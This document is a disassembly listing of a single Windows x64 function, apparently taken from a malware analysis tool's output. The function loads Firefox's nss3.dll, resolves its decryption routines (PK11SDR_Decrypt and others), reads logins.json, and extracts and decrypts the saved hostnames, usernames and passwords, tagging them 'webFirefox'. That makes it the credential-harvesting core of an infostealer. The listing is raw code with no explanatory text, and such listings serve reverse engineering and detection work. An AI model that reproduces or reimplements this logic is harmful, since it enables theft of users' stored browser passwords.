Function at 0x180092330
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x218]
sub rsp, 0x318
mov rax, qword [0x180126010]
xor rax, rsp
mov qword [rbp + 0x208], rax
mov r12, rcx
mov qword [rbp - 0x48], rcx
xor r13d, r13d
mov qword [rbp - 0x60], r9
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x110], r13
mov rsi, r9
mov r14, r8
mov qword [rbp - 0x58], r8
mov r15, rdx
mov qword [rbp - 0x50], rdx
mov qword [rbp + 0x118], 0xf
call fcn.1800bf440
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800923ae
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x1800923fe
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800923f9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180093925
mov rcx, r8
call fcn.1800cd2cc
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
test rdi, rdi
jne 0x18009254f
xor r8d, r8d
mov qword [r12], r13
lea rdx, [0x18010a500]
mov qword [r12 + 0x10], r13
mov rcx, r12
mov qword [r12 + 0x18], 0xf
call fcn.1800bfba0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x18009247b
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092476
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009391f
call fcn.1800cd2cc
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800924b5
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800924b0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov qword [r15 + 0x10], r13
mov qword [r15 + 0x18], 0xf
mov byte [r15], r13b
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800924fe
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800924f9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], 0xf
mov byte [r14], r13b
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180092547
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x180092542
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x18009391f
mov rcx, r8
call fcn.1800cd2cc
mov byte [rsi], r13b
jmp 0x1800938e7
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012bae0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012bb20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012bb08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012bad8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012ba60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012baf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14 + 0x10]
mov qword [0x18012baa8], rax
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xc
jb 0x18009392b
cmp qword [r14 + 0x18], 0x10
mov r9, r14
jb 0x180092618
mov r9, qword [r14]
lea rax, str.logins.json
mov qword [rsp + 0x30], 0xc
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x40]
call fcn.1800c27f0
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
lea rdx, [0x180115130]
cmovae rcx, qword [rsp + 0x40]
call fcn.1800d8f08
test rax, rax
je 0x18009266a
mov rcx, rax
call fcn.1800d8f98
mov bl, 1
jmp 0x18009266c
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800926a9
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800926a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093931
call fcn.1800cd2cc
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r13b
test bl, bl
je 0x1800937e8
cmp qword [r14 + 0x18], 0x10
mov rcx, r14
jb 0x1800926d1
mov rcx, qword [r14]
call qword [0x18012bae0]
mov rdx, r14
lea rcx, [rbp - 0x40]
call fcn.1800bf440
mov rcx, rax
call fcn.1800917a0
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 0xf
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x180092710
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1800bfba0
cmp qword [rbp + 0x90], r13
jbe 0x1800937a7
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x200], rax
movups xmmword [rbp + 0x1f0], xmm0
call fcn.1800be5a0
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x1b8]
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1d8], rax
movups xmmword [rbp + 0x1c8], xmm0
call fcn.1800be5a0
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x190]
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1b0], rax
movups xmmword [rbp + 0x1a0], xmm0
call fcn.1800be5a0
mov rdx, qword [rbp + 0x98]
lea rbx, [rbp + 0x80]
mov rax, qword [rbp + 0x80]
xorps xmm0, xmm0
mov r12d, 0xf
mov qword [rbp + 0xa0], r13
cmp rdx, 0x10
mov qword [rbp + 0xb0], r13
mov rsi, r13
mov qword [rbp + 0xc0], r13
cmovae rbx, rax
mov qword [rbp + 0xd0], r13
xor edi, edi
mov qword [rbp + 0xb8], r12
mov r14, r13
mov qword [rbp + 0xe0], rdi
movups xmmword [rbp + 0x120], xmm0
mov r13d, r12d
mov qword [rbp + 0xd8], r12
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0xf0], rsi
mov r15d, r12d
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0xf8], r12
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x80]
cmovae rcx, rax
lea r9, [rbp + 0x1e0]
add rdx, rcx
lea r8, [rbp + 0x120]
mov rcx, rbx
call fcn.1800c5670
test al, al
je 0x1800935d8
mov rcx, qword [rbp + 0x138]
movabs r13, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x130]
mov rax, r13
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x1800928dc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x1800928eb
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800928f3
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
xor r15d, r15d
mov r8, qword [rbp - 0x78]
mov eax, r15d
mov qword [rsp + 0x40], rax
mov r9d, 0xf
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r9
cmp rdx, r8
je 0x180092932
sub r8, rdx
lea rcx, [rsp + 0x40]
call fcn.1800bfba0
mov r9, qword [rsp + 0x58]
mov rax, qword [rsp + 0x40]
cmp r9, 0x10
lea rcx, [rsp + 0x40]
cmovae rcx, rax
call fcn.180092220
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180092950
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.1800bfba0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800929a5
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800929a0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093937
call fcn.1800cd2cc
cmp qword [rbp + 0x98], 0x10
lea rdx, [rbp + 0x80]
lea r9, [rbp + 0x1b8]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x80]
lea r8, [rbp + 0x120]
add rdx, qword [rbp + 0x90]
mov rcx, rbx
call fcn.1800c5670
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x180092a14
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180092a23
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x180092a2b
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
cmp rdx, r8
je 0x180092a58
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.1800bfba0
lea rcx, [rsp + 0x60]
call fcn.180092050
mov rcx, rax
call fcn.180092220
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x180092a71
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1800bfba0
cmp qword [rbp + 0x98], 0x10
lea rdx, [rbp + 0x80]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x28], rbx
cmovae rdx, qword [rbp + 0x80]
lea r8, [rbp + 0x120]
add rdx, qword [rbp + 0x90]
mov rcx, rbx
call fcn.1800c5670
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x178]
cmp rdx, 1
jbe 0x180092af8
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180092b07
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
jmp 0x180092b0f
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
cmp rdx, r8
je 0x180092b3c
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.1800bfba0
lea rcx, [rsp + 0x60]
call fcn.180092050
mov rcx, rax
call fcn.180092220
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x180092b55
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.1800bfba0
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.1800bf440
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18008a620
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180092b97
mov rcx, qword [rax]
cmp qword [rax + 0x10], 0x20
jne 0x180092bb9
mov r8d, 0x20
lea rdx, str.397a1dad0e0212119274178e7e4cc080
call fcn.1800d1770
test eax, eax
jne 0x180092bb9
mov dil, 1
jmp 0x180092bbc
xor dil, dil
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180092bf7
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092bf2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009393d
call fcn.1800cd2cc
test dil, dil
je 0x180092c2e
mov r8d, 1
lea rdx, [0x18010e748]
lea rcx, [rbp + 0xc0]
call fcn.1800bfba0
mov r8d, 1
lea rdx, [0x18010e748]
lea rcx, [rbp + 0xe0]
call fcn.1800bfba0
mov r8d, 9
mov qword [rsp + 0x40], r15
cmp qword [rbp + 0xb0], r8
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], r15
cmovb r8, qword [rbp + 0xb0]
cmp qword [rbp + 0xb8], 0x10
mov qword [rsp + 0x58], 0xf
cmovae rdx, qword [rbp + 0xa0]
call fcn.1800bfba0
mov rdx, qword [rsp + 0x58]
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rsp + 0x50], 9
jne 0x180092cb0
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x180092cb0
cmp byte [rax + 8], 0x2f
jne 0x180092cb0
xor dil, dil
jmp 0x180092cb3
mov dil, 1
cmp rdx, 0x10
jb 0x180092ce6
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092ce1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093973
call fcn.1800cd2cc
test dil, dil
je 0x180093537
mov r14, qword [rbp - 0x60]
mov rcx, r14
mov rax, qword [r14 + 0x18]
cmp rax, 0x10
jb 0x180092d03
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009312d
cmp byte [rcx], 0x30
jne 0x18009312d
mov rcx, qword [rbp + 0xb0]
mov rdx, rax
mov rsi, qword [rbp + 0xd0]
movabs r12, 0x7fffffffffffffff
mov rdi, qword [rbp + 0xf0]
test rcx, rcx
je 0x18009314f
test rsi, rsi
je 0x18009314f
test rdi, rdi
je 0x18009314f
mov rax, r12
sub rax, rcx
cmp rax, 1
jb 0x180093961
cmp qword [rbp + 0xb8], 0x10
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
lea r9, [0x180115190]
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c27f0
mov r8d, 1
lea rdx, [0x18011518c]
lea rcx, [rsp + 0x60]
call fcn.1800bf270
lea rdx, [rbp]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x10], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800bf270
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x180092e3f
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092e3a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093943
call fcn.1800cd2cc
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180092e7c
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092e77
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093943
call fcn.1800cd2cc
mov rax, r12
sub rax, rsi
cmp rax, 1
jb 0x18009395b
cmp qword [rbp + 0xd8], 0x10
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rsi
lea r9, [0x180115190]
cmovae rax, qword [rbp + 0xc0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c27f0
mov r8d, 1
lea rdx, [0x18011518c]
lea rcx, [rsp + 0x60]
call fcn.1800bf270
lea rdx, [rbp + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x20], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x30], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800bf270
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180092f67
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092f62
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093949
call fcn.1800cd2cc
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180092fa4
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092f9f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093949
call fcn.1800cd2cc
mov rax, r12
sub rax, rdi
cmp rax, 1
jb 0x180093955
cmp qword [rbp + 0xf8], 0x10
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], rdi
lea r9, [0x180115190]
cmovae rax, qword [rbp + 0xe0]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
call fcn.1800c27f0
mov r8d, 1
lea rdx, [0x18011518c]
lea rcx, [rsp + 0x60]
call fcn.1800bf270
lea rdx, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x40], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x50], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x100]
call fcn.1800bf270
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x18009308f
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009308a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009394f
call fcn.1800cd2cc
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1800930cc
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800930c7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009394f
call fcn.1800cd2cc
mov r8d, 1
lea rdx, [0x18010b51c]
lea rcx, [rbp + 0x100]
call fcn.1800bf270
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xa0]
call fcn.1800bfba0
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xc0]
call fcn.1800bfba0
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xe0]
call fcn.1800bfba0
mov rdx, qword [r14 + 0x18]
jmp 0x18009313a
mov rdx, rax
movabs r12, 0x7fffffffffffffff
mov rdi, qword [rbp + 0xf0]
mov rsi, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xb0]
mov rax, r14
cmp rdx, 0x10
jb 0x18009315b
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180093531
cmp byte [rax], 0x31
jne 0x180093531
test rcx, rcx
je 0x180093531
test rsi, rsi
je 0x180093531
test rdi, rdi
je 0x180093531
mov rax, r12
sub rax, rcx
cmp rax, 0xc
jb 0x18009396d
cmp qword [rbp + 0xb8], 0x10
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x30], rcx
lea r9, str.webFirefox
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xc
call fcn.1800c27f0
mov r8d, 1
lea rdx, [0x180115198]
lea rcx, [rbp - 0x40]
call fcn.1800bf270
cmp qword [rbp + 0xd8], 0x10
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0x40]
cmovae rdx, qword [rbp + 0xc0]
mov r8, rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf270
mov r8d, 1
lea rdx, [0x180115198]
lea rcx, [rsp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf270
cmp qword [rbp + 0xf8], 0x10
lea rdx, [rbp + 0xe0]
mov qword [rbp - 0x80], r15
lea rcx, [rbp - 0x80]
cmovae rdx, qword [rbp + 0xe0]
mov r8, rdi
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf270
mov r8d, 3
lea rdx, [0x180115194]
lea rcx, [rbp - 0x20]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800bf270
lea rdx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x60], xmm0
mov byte [rax], r15b
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x70], xmm1
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x100]
call fcn.1800bf270
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x18009337e
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093379
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1800933b9
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
mov rdx, qword [rbp - 0x68]
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], r15b
cmp rdx, 0x10
jb 0x180093404
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933ff
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
mov rdx, qword [rsp + 0x78]
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r15b
cmp rdx, 0x10
jb 0x180093451
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009344c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], r15b
cmp rdx, 0x10
jb 0x1800934a1
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009349c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
mov rdx, qword [rbp - 0x28]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1800934ef
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800934ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093967
call fcn.1800cd2cc
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xa0]
call fcn.1800bfba0
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xc0]
call fcn.1800bfba0
xor r8d, r8d
lea rdx, [0x18010a500]
lea rcx, [rbp + 0xe0]
call fcn.1800bfba0
inc dword [0x18012bb28]
mov rcx, qword [rbp + 0x138]
mov rax, r13
mov r8, qword [rbp + 0x130]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
jne 0x18009356e
mov rax, qword [rbp + 0x178]
lea r8, [rbp + 0x178]
jmp 0x180093571
mov rax, qword [r8]
sub rax, qword [rbp + 0x120]
cmp byte [r8 + 0x10], r15b
je 0x180093588
movups xmm0, xmmword [r8]
movups xmmword [rbp - 0x80], xmm0
jmp 0x180093590
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
sub rax, qword [rbp - 0x80]
add rax, qword [rbp - 0x78]
mov rdx, qword [rbp + 0x98]
add rbx, rax
mov rax, qword [rbp + 0x80]
mov r12, qword [rbp + 0xb8]
mov r14, qword [rbp + 0xa0]
mov r13, qword [rbp + 0xd8]
mov rsi, qword [rbp + 0xc0]
mov r15, qword [rbp + 0xf8]
mov rdi, qword [rbp + 0xe0]
jmp 0x180092860
call qword [0x18012baa8]
cmp r15, 0x10
jb 0x180093615
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18009360d
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093973
mov rcx, rdi
call fcn.1800cd2cc
cmp r13, 0x10
jb 0x18009364c
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180093644
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093973
mov rcx, rsi
call fcn.1800cd2cc
cmp r12, 0x10
jb 0x180093684
lea rdx, [r12 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x18009367c
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093973
mov rcx, r14
call fcn.1800cd2cc
mov r8, qword [rbp + 0x130]
test r8, r8
je 0x180093701
mov rcx, qword [rbp + 0x140]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x1800936e2
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093973
mov rcx, r8
call fcn.1800cd2cc
xorps xmm0, xmm0
xor r13d, r13d
